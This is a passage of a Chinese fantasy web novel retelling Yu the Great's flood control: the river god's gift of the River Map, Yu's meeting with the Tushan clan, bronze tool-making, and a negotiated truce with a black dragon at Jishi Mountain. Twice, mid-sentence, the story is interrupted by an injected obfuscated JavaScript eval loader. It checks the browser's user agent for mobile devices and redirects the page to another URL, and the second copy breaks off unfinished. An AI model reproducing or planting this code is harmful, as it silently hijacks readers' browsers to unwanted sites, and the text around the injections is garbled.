冯夷的眼中掠过一丝追忆与哀伤:“当年我也如你一般,立志治理这黄河水患。可惜洪涛无情,将我吞噬于浊浪之中。幸得天命垂怜,封我为黄河河神,赐我钻研治理之道。” 他轻轻叹息,鱼尾在澄澈的水柱中微微摆动,泛起粼粼波光:“数百年来,我日夜观察黄河水性,绘制水脉图谱,试图驯服这条怒龙。然我资质平庸,虽竭尽全力,终究难以担当重任。如今年迈力衰,更感力不从心。” 冯夷缓缓抬手,一卷灵物自掌心浮现——那并非凡俗织物,而似水波凝华、星河坠影,柔软如丝、流光熠熠,不畏水火、难损千钧,正是黄河本源所化的至宝:河图。 “此乃我毕生心血所聚,”冯夷的声音庄重而充满期待,“今日特来授于你。望你以超凡之才,完成我未竟之业。” 禹心中波涛汹涌。他虽在舜和众人面前显得胸有成竹,实则内心常怀惶恐。治水重任如山压肩,无数生灵的期望系于一身。此刻面对河神的托付,他更加感到责任重大。 然而当他目光扫过身后那些期待的面孔,想起父亲鲧未竟的遗志,想起流离失所的百姓,一股勇气自心底涌起。他深吸一口气,郑重伸出双手:“禹,谨受河神厚赐。必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705140|189169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当竭尽全力,不负所托!” 图卷展开之瞬,浩瀚水势扑面而来。只见其上密密麻麻、圈圈点点,星罗棋布般缀满符文与光迹,将黄河自西倾至东海、南北两岸每一处曲折水情,悉数绘尽: 何处水深湍急、暗漩潜生,以墨蓝深纹勾画,如龙脉隐现; 何处水浅沙淤、礁石嶙峋,则以淡金点线标刻,似星落河床; 堤防弱处,朱砂符圈灼灼如警,标记洪涛最易溃决之险段; 河道窄隘处,玄黑裂形暗符闪烁,指明泥沙壅塞、亟待疏浚之要害; 更有一道道银芒蜿蜒流转,显暗流动向,何处可开渠分水、何处当筑堰拦洪,甚至伏流水脉、地底潜隙,皆如掌纹清晰可辨。 万里大河之命脉,亿万生灵之安危,竟尽收于此卷之中。 这卷神异非凡的河图缓缓飞向禹,在其掌上方微微悬浮,散发着柔和而威严的气息。 冯夷欣慰地看着禹接纳河图,眼中满是期许:“孩子,治水之路艰险异常,但你并非孤身一人。天下苍生皆是你之后盾,历代治水者之魂灵皆为你祝福。” 授图既毕,冯夷微微颔首,身形渐淡,随着水柱悄然潜没于滔滔河水之中,仿佛从未出现,只留下荡漾的波光和一群目瞪口呆的凡人。 禹紧握河图,感受着其中蕴含的浩瀚智慧与沉重责任。他心中虽然仍有不安,但更多的是坚定的决心。车到山前必有路,他告诉自己,一步步走,一个个问题去解决,终有一日,定要让黄河安澜,还天下一个太平。 他转身面向众人,举起手中的河图,目光坚定如磐石:“继续勘察!我们有河神相助,更有万众一心,定能驯服黄河!” 这一刻,禹内心的惶恐化为了力量,个人的犹豫让位于集体的信念。治水大业,从此开启新的篇章。 禹得河图,如获至宝!遂于当夜召集平水土之师的核心成员,入帐共研此图。他展开河图,将其与脑海中玉简所载的天地度量、以及羲青昔日所绘《水经》之水道总纲相互参照,更引动远天星盘推演之理。霎时,四者交融共鸣,一幅宏大而精密的治水玄图在他灵台之中豁然贯通: 玉简定基准,确立山河高低、疆域大势,为万物立极; 《水经》列纲目,羲青昔日遍察天下水脉,所述江河主干支流、源尾走向,正与河图彼此印证; 河图显细微:其上密圈点线光芒流转,不止标注水流深浅、泥沙淤积、潜礁暗涌,更将哪段宜疏、哪处当导,视觉般呈现眼前; 星盘推气机,虽器物未随其身,然其数理相通,助禹推演地脉水窍变化之天时。 “原来如此!”禹眼中精光暴涨,手指河图上标注的一处神秘山形,“黄河真源在此!” 众人围拢过来,只见河图上清晰标注着黄河自昆仑神山流出,潜行地底千里,至积石山方重现人间,与羲青所言一致。积石山乃黄河源头,也是治理黄河的关键所在。 “我们要去积石山!”禹决然道,“在那里开始疏导黄河主干!” 勘察队带着这一重大发现返回主营。禹立即开始筹划前往积石山的行程。 这日傍晚,禹独自来到黄河边思考下一步计划。他需要静心思索如何利用河图提供的信息,同时也想借这流动的河水,梳理连日来纷繁的思绪。他手持神农石耜,感受着水流冲刷石岸的韵律,怀中的玉匣里,颛顼玄圭散发着温润平和的气息。 不远处,一位少女正蹲在河边,小心翼翼地用一片宽大的树叶盛起一些河水。她身着月白镶靛蓝边的麻布深衣,身姿窈窕,乌发如瀑,仅以一根青玉簪松松绾起,几缕发丝垂落颈侧,更添灵动。正是随兄长前来蒲阪的涂山氏之女,十七岁的女娇。她已完成觐见舜的使命,准备翌日随兄长启程返回涂山。临行前,她特意来黄河边,想采集一些不同水域的水纹样本,对比涂山淮水,寻找共性。 正当女娇专注地观察水中细微的沉淀物时,一位身着靛青祭服、气度沉凝威严的青年男子悄然行至她身后,目光温和而带着些许兄长特有的审视,望向河湾。他腰间佩戴着一枚奇特的玉佩——形状不甚规则,像是一块较大的玉髓碎裂后取其精华部分,温润的白色玉质中,仿佛有细碎的星辰光点和地脉般的金色纹路在流转,散发着柔和而深邃的灵韵。这便是涂山镇族之宝,"星垣玉魄"的核心碎片,亦是涂山主祭身份的象征。来人正是女娇的兄长,当代涂山主祭——涂山翳。 “女娇,水样采集可还顺利?”涂山翳声音沉稳。 女娇闻声抬头,正欲回答,她兄长腰间的星垣玉魄碎片却突然毫无征兆地亮了一下,发出一阵极其轻微、如同风铃般的嗡鸣!一股温暖而充满生机的力量波动从中散发出来。 几乎在同一瞬间,禹怀中的颛顼玄圭玉匣,以及他手中的神农石耜,也仿佛被这同源的力量唤醒,同时发出一阵低沉的共鸣!玄圭的温润与石耜的厚重感瞬间增强。 这突如其来的共鸣让禹和涂山翳同时一惊,立刻循着感应望向对方。 四目相交,一是治水司空,手握圣皇遗泽,一是东方强族主祭,身负传承秘宝。空气中仿佛有无形的波纹荡漾开来。 禹看到了一位气度不凡、显然身份尊贵的青年,其佩戴的玉佩竟能与神农石耜、颛顼玄圭产生共鸣,令他倍感惊奇,心下立刻猜测对方绝非寻常人等。 涂山翳则看到了一个虽年轻却目光坚毅、手持奇异石耜的男子,那石耜与星垣玉魄的共鸣强烈而纯粹,蕴含着磅礴的大地生机与某种令他心悸的秩序之力。他立刻意识到此人身份可能非同小可。 “阁下是?”两人几乎同时开口,语气中都带着审视与探究。 禹率先持耜微微颔首:“在下禹,奉舜之命总理水土之事。不知阁下是?” 涂山翳闻言,神色一肃,立刻郑重还礼:“原来是司空当面。在下涂山翳,乃淮水涂山氏主祭。此番携妹进京觐见舜,陈情淮水水患之苦。”他侧身示意了一下身旁的女娇,“此乃舍妹女娇。方才我族信物与司空手中圣器似生感应,冒昧之处,还望海涵。” 女娇此时也已起身,依礼向禹微微一福,目光好奇地掠过禹手中的石耜和兄长腰间的玉魄。 禹心中了然,原来是东方涂山部的首领与主祭,难怪有如此气度与重宝。“原来是涂山主祭,久仰。此乃先圣神农所遗石耜,或有沟通地脉之能,与贵宝共鸣,实乃天意,何谈冒昧。”他举起神农石耜,坦诚相告。 涂山翳指尖轻抚星垣玉魄,感受着其中尚未平息的灵韵波动,语气凝重中带着一丝期望:“星垣玉魄乃我涂山世代守护之宝,亦为主祭信物,确能感应地气水脉变迁。今日与司空圣器共鸣,或许正预示着我涂山困于水患之局,终见破晓之机?不知司空下一步将往何处勘查?” “正欲先疏黄河主干,再南下详勘鹊山、雷泽乃至淮水水脉,以求根治之策。”禹回答道。 涂山翳眼眸一亮:“淮水之滨,涂山首当其冲!司空欲究水脉之源,涂山翳感佩!若有所需,涂山愿倾力相助。此玉魄于感应地气、安抚山川或有微末之能,愿他日于司空治水大业中,略尽绵薄。”他的话语真诚而有力,代表着整个涂山氏的承诺。 女娇在一旁静静聆听,看着兄长与这位年轻的司空交谈,目光不由自主地被禹沉稳的气度、对水脉的深刻见解以及对疏导之法的坚定所吸引。同时,她也感受到兄长话语中对家园深切的忧虑和对禹所从事事业的认同与支持。 三人在这暮色渐合的黄河边进行了短暂的交谈。临别之际,女娇上前一步,从怀中取出一个用柔软丝绢包裹的小小物件,递向禹。她看了一眼兄长,涂山翳微微颔首示意。 丝绢打开,是一枚小巧莹白、打磨光滑的石埙,仅有两指节大小。埙绳由几根闪烁着月华般银辉的灵狐尾毫与她的几缕青丝精心编织而成。 “司空,”女娇声音轻柔却清晰,“此乃同心埙,取自涂山地窍温玉边角,虽非星垣玉魄本体,然长期浸润其旁,亦有一丝宁神辟瘴之效。这几缕毫毛,取自守护涂山的灵狐,与我的发丝同编。愿它佑您跋涉平安,勘明水道,伏波安澜。涂山……亦盼佳音。”她亲手将系着同心埙的绳链递给禹。 禹郑重接过,感受着温玉的暖意和那丝清新气息,又看向一旁目光期许的涂山翳,将同心埙小心纳入怀中:“禹,定不负所托。涂山之困,永铭于心。”此刻,这枚同心埙,仿佛连接起了治水司空与东方涂山氏的盟约。 涂山翳拱手一礼:“如此,我等便在涂山,静候司空佳音。告辞。” 女娇再次盈盈一礼,随兄长转身,身影渐渐消失在渐浓的暮色中。 禹伫立水边,指尖摩挲着怀中温润的白石埙,心中不仅泛起一丝朦胧的情愫,更感受到一份沉甸甸的责任与来自东方大族的期望。黄河的涛声,依旧磅礴,却似乎为他指明了一个新的方向。 二十余日后,砺押送矿石归来。营地欢声雷动。 远远望见那支风尘仆仆却满载而归的队伍出现在地平线上,主营这边立刻沸腾起来。最先发现的是在高处瞭望的岳卫战士阿土,一声兴奋的呼哨划破长空:“回来了!工正他们回来了!” 营地中的人们纷纷放下手中的活计,涌向入口。禹正与弃、皋陶商议粮草调配与人力调度之事,闻声立刻大步迎出,伯益也如灵猿般从一旁的测量架子上跃下,眼中闪着好奇与喜悦的光芒。岳盾则沉声下令,让负责警戒的岳卫锐士保持原位,但战士们也都忍不住伸长脖子望向归来的同袍,脸上洋溢着笑容。 车队渐近,砺一马当先,从马车上跃下。他古铜色的皮肤上蒙着一层厚厚的尘土,眼窝深陷,却目光炯炯,步伐依旧沉稳有力。跟在他身后的阿牛,虽然也一脸疲惫,却兴奋地挥舞着粗壮的手臂。长河、石牛等岳卫锐士护卫在车队两侧,稍显疲态。飞猿则还在忙着吆喝那些驮着矿砂的野牛,脸上是混合着得意与劳累的神情。 “司空!幸不辱命!”砺走到禹面前,抱拳沉声道,声音因长途跋涉而略带沙哑,却透着完成重任后的踏实,“涹山铁、橿谷铜,均已足量采回!” “好!辛苦了!”禹用力握住砺的手臂,眼中满是赞许与感激。他的目光扫过砺身后满载的矿车,以及虽然疲惫却精神昂扬的众人,重重点头,“诸位皆辛苦了!弃,让仓实即刻安排饮食热水,让兄弟们好生歇息!皋陶,记录在册,此行之功,日后必有犒赏!” 弃连忙应下,招呼刚跑出来观望的仓实去接应物资,安排饭食。皋陶则示意身旁的助手上前清点记录。 这时,砺的目光越过禹的肩头,看到了站在稍远处人群前的羲青。她显然也是闻讯赶来,手中还握着那卷未合上的兽骨,正凝望着他。四目相对,砺风尘仆仆的脸上露出一丝难以察觉的、温和的松动。他朝她微微颔首,一切尽在不言中——平安归来,且不负所托。 羲青心中那根紧绷了二十余日的弦终于悄然松开,顿觉安心。她亦微微颔首回应,随即下意识地垂眸,将注意力转向手中的兽骨。 伯益已好奇地凑到矿车旁,用手指捻起一点铜矿砂细看,又敲了敲旁边的铁矿石,抬头对砺笑道:“工正,这下好了!有了这些‘牙齿’,看那些顽石暗礁还如何逞凶!” 阿牛在一旁憨声补充:“虞官,您没见那矿有多硬!得亏工正教我们用火烧水激的法子,不然可费劲了!”他挥了挥胳膊,脸上是纯然的兴奋与自豪。 岳盾也走上前,与石牛、长河等岳卫锐士互相捶了下肩膀,一切尽在不言中,那是共同经历艰险后的默契与认可。 整个营地因这支队伍的归来而充满了蓬勃的生气与希望。匠人们早已迫不及待地围拢过来,打量着那些珍贵的矿砂,眼中闪烁着兴奋的光芒,交头接耳地讨论着即将开始的锻造工作。 在一番准备之后,次日匠人们立即投入锻造:挖地穴陶窑,以炭火煅烧矿石,用坩埚熔炼,再以沉重石锤反复锻打烧红的金属块。叮当之声不绝于耳,汗水与火光交织。 最终,第一批粗糙却坚实的青铜工具诞生了:开山钺、镐头、凿、锛,以及加固木筏工具的铜钉铜箍。岳卫的石矛也镶上了铜尖。平水土之师,至此才算真正拥有了“平水土”的爪牙。 禹握着一柄新铸的青铜斧,手指拂过冰冷的刃口,目光投向西方云雾缭绕的远山:“利器已成,当试锋芒。明日,我们西行积石山,在那里开始疏导黄河主干!” 众人闻言,群情激昂。他们知道,真正的治水大业,此刻才刚刚开始。 翌日清晨,平水土之师拔营西行,向着黄河源头——积石山进发。禹怀揣河图,手持石耜,肩负着天下苍生的希望,踏上了一条前所未有的治水之路。 前方等待他们的,将是更加艰险的旅程和更加艰巨的挑战。但有了河图的指引和全新打造的工具,平水土之师信心倍增。他们知道,只要团结一心,定能驯服黄河,还天下一个安宁。 禹回头望了一眼东方,那里有涂山氏的期望,有天下苍生的期盼。他握紧了手中的石耜,目光坚定地望向西方。 积石山,黄河之源,我们来了! 6. 第6章:积石导洪 舜摄政三年,禹治水第一年秋,平水土之师并数千征调民夫,浩荡西行,终抵积石山。 此时正是九月,已入深秋。西风刮得又急又冷,路边的野草早已枯萎凋零。队伍沿着黄河逆流而上,地势越来越陡峭,河水也越发汹涌狂暴。虽说之前伯益绘制的地图早已警示过这里的凶险,可当那传说中“锁住万座大山的门户”真正出现在眼前时,所有人还是忍不住倒吸一口凉气——只觉天地神威如此浩荡,人类的力量竟渺小得不值一提。 只见两座漆黑如铁铸的巨峰,直插云天,像两扇对峙的天门。山体怪石嶙峋,狰狞可怖,仿佛经历过远古神魔的厮杀,又被千万年的狂风严霜侵蚀过,透着一股亘古不变的坚硬与苍凉。奔腾的黄河像一条巨龙,在这里被死死掐住了咽喉,困在不足二十丈宽的狭窄河道里。河水怒不可遏,发出震得人魂魄都在颤的咆哮,裹挟着亿万吨黄沙浊浪,从那“天门缝”里疯狂喷涌而出,撞在参差不齐的礁石上,砸出漫天雪白的水花。水汽弥漫在半空,映着昏黄的落日,幻化出几道凄艳的彩虹。那声音哪里是水流声,分明是震天的轰鸣,连脚下的大地都在轻轻颤抖。 禹站在一处高崖上,脸色凝重,望着这天然形成的险关。之前伯益说的“峡谷长十里、暗礁密布、水流诡异”,此刻全都一一应验;可亲身站在这里,才知道实际的艰难比地图上画的还要难上百倍。他怀里的神农石耜微微发出嗡鸣,像是在和地下奔涌的磅礴地脉隐隐呼应。 “积石之门,名不虚传,亦险恶如幽冥鬼域。”禹沉声说道,声音不算大,却清晰地传到了身边砺、羲青、伯益、皋陶等人耳中。他的目光扫过身后既惶恐又疲惫的民夫,最后落在那像要吞人的峡口上。“此门不开,天下难安。开工!” 积石峡深处,幽暗的水底藏着一个巨大的洞穴,洞壁上泛着微弱的灵光。这里是被迫离开东海、辗转逃难到这儿的黑龙一族暂时的住处。 黑龙敖溟是龙族的族长,正盘踞在洞穴外。他那双冰冷的金色眼睛透过幽暗的河水,凝视着峡谷上方隐约晃动的人影和火光。百年前的惨痛记忆在心头灼烧——当年在东海之滨,人类花言巧语骗取了龙族的信任,随后就用毒兵和咒法突袭,屠杀同族,抢夺龙宫的宝物。那时敖溟还是条青年龙,亲眼看着父母惨死……幸存的族人只能背负着血海深仇,逃到这荒僻险峻的峡谷里。 “父亲,那些光……是什么呀?”幼龙敖霖怯生生地问,细小的龙身缩在父亲庞大的黑色身躯后面。 敖溟发出低沉的怒吼,声波在水里闷闷地震动:“是人类,霖儿,至狡至贪之物。百年前,便是他们,毁我东海家园。”声音里满是百年积累的愤怒与悲伤。 另外两条稍大些的幼龙也发出不安的低吟。敖溟的妻子敖璃迅速游过来,用长长的尾巴轻轻安抚着孩子们:“莫怕,此峡险峻,人类难入。”可她看向敖溟的眼神里,也盛满了深深的忧虑。 敖溟看着水面上越来越多的火光,心里的不安像潮水一样涌上来。这峡谷虽然凶险,却是龙族最后的屏障——洞里的深潭能容纳族人休养,尤其利于幼龙的鳞甲变硬。要是连这里也丢了……龙族恐怕真要在天地间绝迹了。 “必须赶走他们!”敖溟下定了决心,眼神像铁一样坚定,龙眼里突然闪过寒光,“绝不不可容其立足,过去的悲剧不能再重演!”他巨大的龙身在水中扭动起来,搅得天上风云变色,积石峡上空的云层瞬间压得极低,隐隐传来雷声。他决定不再观望,要给这些不速之客一个永生难忘的教训,让他们知难而退。 第二天清晨,治水工程刚一开始。数千民夫在砺和工匠们的指挥下,沿着险峻的河岸清理碎石,拓宽施工的场地。岳盾带领岳卫在高处警戒,伯益让鸟雀在空中盘旋监视动静。 可开工还不到一个时辰,意外突然发生了! 原本就汹涌的黄河水,像是被一只无形的大手狠狠搅动,突然掀起几丈高的巨浪。浪里还裹着磨盘大的冰块和漆黑的淤泥,劈头盖脸地砸向岸上的人!峡谷里同时刮起刺骨的腥风,带着让人胆寒的威压。 “退!快退!”砺厉声大喊,挥起铜斧劈碎一块冰坨,又用肩膀撞开几个看呆的民夫。 岳盾怒吼道:“列盾阵!护住大家!”岳卫的精锐士兵迅速靠拢,把巨大的木盾拼在一起,形成临时的堤坝,硬扛着浪涛和冰块。“砰砰”的撞击声不断传来,盾面上瞬间裂开了缝隙。 混乱中,禹快步冲到岸边,目光像闪电一样扫视着狂涛。他看见浑浊的水下,一个庞大的黑影一闪而过,那冰冷的敌意透过水波,清晰地传了过来。 “是龙!”伯益惊呼,肩膀上的鹰隼也吓得发出哀鸣。 就在这危急时刻,巫盼却镇定自若。他迅速从怀里取出一面世代相传的玉璧——这玉璧是有莘氏的镇族之宝,传说由女娲补天时剩下的五色石核心制成,平时从不轻易示人,只有在沟通天地的重要时刻才会拿出来。只见他把玉璧高举过头顶,朝着洪峰冲来的方向,单膝跪地,大声祝祷: “皇天在上,后土在下, 水伯息怒,龙君听真。 我以诚心,告于神明, 愿通天地,平息波涛!” 随后他转身急忙对山魈下令:“速取黍稷、醴酒!垒土为坛,祀于河伯!”山魈和百草赶紧用随身携带的祭品堆起一个简易的祭坛,巫盼把玉璧放在坛上,双手捧着甜酒,缓缓洒在土台四周。玉璧立刻泛起莹莹青光,和晨光交相辉映,形成一道无形的屏障。可那狂暴的水势却丝毫没有减弱,反而越来越凶。 与此同时,羲青感觉到贴身带的墨玉星盘突然散发出一阵异常的寒意。她立刻取出来,只见墨玉盘面上,对应西北方位的星纹微微发亮,而贯穿盘面的几道“天河裂痕”里,竟有几道散发出急促闪烁的冰蓝色光晕——光晕的边缘很锐利,满是排斥和警告的意味。““水下有巨灵!”她对着禹高声喊道,“星盘示警,其力阴寒暴戾,与地脉相冲!” 第一次治水尝试,就这样中断了。幸好防护及时,没人丧命,可还是有十多个民夫被冰块砸伤或被冷水冻伤,好几架测量用的架子也被毁坏,队伍的士气大受打击。 当天夜里,河工营帐里气氛凝重。灯火跳动着,把众人的影子映在帐壁上,忽明忽暗。 “好凶戾的畜生!”岳盾用力捶了一下案几,“力逾寻常凶兽数十倍!” 砺皱着眉说:“其鳞甲坚非刀箭能破,又藏身深水,驱水为兵,何以应对?” 伯益接着说:“鸟儿惧其气息,不敢近潭底,只窥得潭底有巨穴,恐为其巢。” 皋陶沉思着说:“强攻非善策,徒损兵折将。此龙似有灵智,非懵懂野兽。” 羲青把星盘放在案几上,指尖轻轻悬在那些已经恢复平静、却仍带着寒意的裂痕上方:“星象示‘北维’主‘固’与‘守’。裂痕蓝光锐利不污,非共工怨念,其性近守护而非毁灭。” 她看向禹,“今日兴波阻工,看似攻击,实似划界自保之警。” 禹一直静静听着,手指摩挲着怀里的颛顼玄圭。听到这里,他抬起头说:“青儿所言甚是。此非天灾,乃‘龙患’。然其根,非性恶,实感威胁,护巢心切。”他起身指着河图上积石峡深潭的标记,“此峡于彼,非囚牢,乃家园。我等欲开峡口,在其眼中,无异破家毁园,焉能不誓死反抗?” 帐里顿时安静下来。禹的话,打开了新的思路。 “司空之意是……”皋陶像是明白了什么。 “堵不如疏,理通万物。对水如此,对人心如此,对此异族之灵,或亦如此。”禹的声音变得坚定,“与其为敌,不若沟通,觅两全法。” “沟通?与彼孽龙?”岳盾瞪大了眼睛,不敢相信。 “然。”禹取出颛顼玄圭,玉圭摸起来温润光滑,“舜帝授此圭,言其通灵达意,化异声为心语。明日,我亲临水畔,试与对话。” 众人你看看我,我看看你——这办法实在太离奇,也太危险了。可看着禹坚定的神色,又实在没有别的办法,只好同意。 砺第一个说:“我随行护卫。” 羲青接着说:“我以星盘观地气水脉波动,或可察其情志,预警险兆。” 伯益、皋陶、岳盾也纷纷请求一同前往。 第二天,禹只带了砺、羲青、伯益、皋陶和十多个精锐岳卫,再次来到昨天的河岸。他让大部队退到远处,避免惊扰黑龙。 禹独自站在水边的巨石上,手里拿着颛顼玄圭,凝神静气,把意念慢慢沉入圭中。一开始,耳边只有河水的怒吼。可随着禹的心越来越专注、越来越平静,玄圭渐渐泛起微光,一种奇妙的感应顺着圭传到他心里。 他开始“听”到水的“情绪”——狂暴之下藏着不安,愤怒之中裹着恐惧,还有那深沉古老的悲伤与警惕。 禹试着把友善、和平的心意,还有“疏导非侵之图”的想法,通过玄圭慢慢传递出去,像把石头投进深潭。 水面起初没有任何反应,反而掀起一道浪拍在巨石上,像是不屑回应。 禹没有放弃,继续把意念像细流一样传过去。 过了很久,就在他快要放弃的时候,水面突然平静下来。紧接着,在离禹十丈远的河中心,水无声地分开,一个像船那么大的黑龙脑袋缓缓探了出来。金色的龙眼冷冰冰地盯着禹,没有任何情绪,可那能毁天灭地的攻击,却没有立刻落下。 一股沉重、苍老,还带着水汽和铁锈血腥味的意念,像冰冷的水流一样,断断续续通过玄圭传到禹心里: “……人……类……又……是……谎……话……” “……东……海……之……痛……还……在……” “……这……里……是……界……线……越……过……就……死……” “……退……开……” 禹心里一震——果然是这样!他定了定神,继续传递意念:“龙君,我知您曾为人族所伤。然我非百年前之敌。今水祸滔天,非独人族罹难,万物同遭荼毒。今疏此峡,非为侵夺,实为导洪安流。下游得安,此地上游水压亦减,岂非两利?我愿立誓,工程绝不损你核心巢穴,亦可为你族另辟静水安居之所,互不侵犯。” 龙眼里的冰冷终于有了一丝波动,传过来的意念依旧充满怀疑,却少了几分杀意:“……誓……言?人……类……的……誓……言……薄……得……像……水……泡……只……有……力……量……才……是……真……的……” “我愿先示诚意。”禹果断地说,“我可先率人为龙君整顿巢穴周边,清淤塞,固水府,示我无意侵犯,只求共处。” 漫长的沉默。黑龙的脑袋半浮在水里,金色的眼睛死死盯着禹,像是在权衡真假。最后,一道模糊又带着疲惫的意念传了过来:“……试……之……若……有……欺……瞒……尽……化……齑……粉……” 说完,黑龙慢慢沉入水中,消失不见。那让人窒息的威压,也跟着散了。 岸上的众人这才松了口气,手心全是冷汗。 禹立刻兑现承诺。他没有直接去凿主峡口,而是亲自选了一百名熟悉水性、胆子大的工匠和岳卫,让砺带队,再由伯益的鸟雀指引——龙君还通过禹的颛顼玄圭,传递了大致方位的模糊意念——队伍很快在黑龙现有巢穴的上游不远处,发现了一处极好的天然半潜洞穴系统。这里位于未来主航道侧面的凹陷处,水深足够容纳龙族的庞大身躯,入口还有天然巨石遮挡,很隐蔽。更重要的是,洞穴旁边有一条地下暗河汇入,能保持水流新鲜,正是幼龙成长需要的理想环境。 “便是此处。”禹勘察后,立刻下令动工。可面对动辄几千斤的巨石,只靠工匠们肩挑手抬,根本不现实。 禹和砺、长河、石牛、阿牛、芦花等人仔细商量后,一套结合当时条件、充分利用环境和巧思的方案就定了下来: 第一,借水力运输。首先利用黄河本身的力量,工匠们挑选那些被山体风化或之前小规模火烧水激后崩落的巨石,堆在岸边。砺指挥大家用撬棍(粗壮的硬木杆)和垫木(圆形滚木)把巨石挪到水边的斜坡上,再选水流相对平缓的时候,利用水的浮力减轻重量。他们用粗麻绳和皮索编的绳索捆住巨石,几十名壮汉在岸上拉拽引导,像放木排一样,借着水流把巨石慢慢拖到洞穴附近的浅水区。岳卫的精锐士兵在这时发挥了关键作用——他们力气大,负责在最费力的拉拽和固定环节出力,还得确保绳索不会崩断伤人。 第二,用滚木和斜坡。对于需要从远处陆地运输,或者要精准摆放的石料,就用滚木法。大家砍来峡谷里坚韧的树木,做成一根根结实的滚木。工匠们用撬棍把巨石撬起来,塞进滚木,然后在前方铺“轨道”,后方不断把用过的滚木抽到前方接着用,像蚂蚁搬家一样慢慢移动。遇到下坡,就用绳索反向拉拽,控制速度;要把巨石垒高,就先堆一个坚实的土石斜坡,借着斜面省力的原理,把巨石沿斜坡拉到预定高度,放好后再把斜坡的土石移走。 第三,水下安置巨石。巨石运到预定水域后,水下安放更难。芦花带领熟悉水性的工匠潜入水里,先在水底用小石块垒好稳固的基础。然后利用水的浮力,配合超长的硬木杠杆——几根杠杆同时插进巨石底部,岸上和水里的人一起发力,以水底的基础或已经放好的巨石为支点,一点点撬动、调整巨石的姿态和位置,直到把它稳稳放在预定地方,形成堰体或导流墙。这个过程特别费时间和力气,还得靠大家默契配合,耐心操作。 第四,就地取材做混合结构。不是所有结构都靠巨型石块。工匠们在大块石头搭的框架之间,填上中小型石块和坚韧的黏土混合物(从山体上取的),甚至编出巨大的藤网、草袋(用耐腐的水草编的),里面装满石块,做成复合结构。这样既能有效导流、加固河岸,又减少了完全依赖巨型石材的难度。 整个过程不是一帆风顺的,反复调整了很多次。敖溟在水下默默看着这一切——他看到这些人类没有用什么神奇法术,全靠协作、智慧和汗水,笨拙却坚定地兑现承诺。这种务实的样子,反而让他多信了几分。尤其是那个领头的人类(禹),好几次亲自下水勘察指挥,眼神清澈,没有一点狡诈的影子。一种极其复杂的情绪在敖溟心里滋生:仇恨和怀疑根深蒂固,可眼前的景象,又和他百年的认知完全不同。或许……或许这个人类,真的不一样? 几天后,龙族的新巢穴终于整理好了。巢穴外,皋陶让人立起一块粗糙的青石,石面上用简单的象形图案刻了龙纹——既标明这是龙族的住处,也提醒过往的人不要打扰;石头旁边还刻了八个字:“龙族所栖,后世莫扰。”禹还让伯益找来能在水下发光的奇异苔藓,种在洞口——既做了标记,又给幽暗的水底添了点柔光。新的栖息地不仅比原来的更宽敞、更安全,还因为禹团队巧妙的水利设计,水质和水流速度都更适合龙族生活。 这些细微的举动,终于打动了敖溟。当天夜里,通过颛顼玄圭,一道依旧冰冷、却少了些敌意的意念传到了禹的帐中:“……明……日……可……开……山……吾……不……阻……你……水……脉……然……若……毁……约……雷……霆……立……至……” 真正的挑战,这才开始。就算黑龙不再兴风作浪,积石山岩壁的坚硬程度,还是超出了所有人的想象。治水队伍试了好多种开山方法,进展却慢得可怜。砺带领工匠用铜凿敲石头,才发现这积石山的岩石根本不一般。“司空,此石坚硬异常,铜凿上去只能留下白痕。”砺抹着汗报告,“更奇的是,这岩石似乎能自我修复,白日凿出的浅痕,一夜之间竟会慢慢弥合。”砺还试了火烧水激的法子,可岩石对温度变化的抵抗能力特别强,根本没用。 民夫中间开始蔓延恐慌:有人说这是山神发怒,也有人说这石头是女娲补天时剩下的,凡人的力量根本打不破。甚至有人偷偷祭祀共工的神位,求水神息怒——虽然皋陶严厉制止了这种行为,却也能看出大家的心思已经乱了。 禹又陷入了沉思。他白天黑夜都在岩壁前徘徊,抚摸着岩石冰冷坚硬的表面,能感觉到里面蕴含着古老深奥的地气。他想起父亲鲧治水失败,或许不只是因为用了堵截的法子,也被困在了这地方显现出的天地神威里。 当天夜里,禹独自对着河图和神农石耜沉思。恍惚间,他好像感觉到怀里的石耜,和大地深处某种力量产生了微弱的共鸣。他想起关于神农石耜的传说:这是神农氏尝百草、辨五谷时用的工具,能深入大地,沟通地脉的元气。一个念头突然闯进禹的脑海:“或可借神农石耜沟通地脉,以地气相引,而非以凡力硬破,如此或能解此石之阻。” 第二天,禹让人在最坚硬的岩壁前清理出一片场地。他手里拿着神农石耜,屏息凝神,不再用耜去凿石头,而是把意念沉入石耜里,感受大地脉络的跳动,就像老农感知土壤的气息。他选了一条岩石的纹路缝隙,把石耜的尖端慢慢抵进去。然后按照一种独特的节奏挥动手臂,把自己的意念通过石耜传递出去,像把种子种进地里一样,引向岩石深处。 一开始没有任何动静。周围的人都屏住呼吸,疑惑地看着。随着时间推移,禹的额头渗出了汗水,神农石耜的尖端竟然开始泛红光,变得灼热起来!紧接着,被石耜抵住的岩缝也红了,冒出丝丝白气,还发出轻微的“噼啪”声。 “是地火!是地火!”有个老工匠惊呼起来。 禹猛地大喝一声,全力催动石耜!“轰”的一声闷响,像是从地底传来——一道赤红炽热的气龙突然从岩缝里喷涌而出,灼热的气浪逼得众人连连后退! 地火!禹竟然用神农石耜做引子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 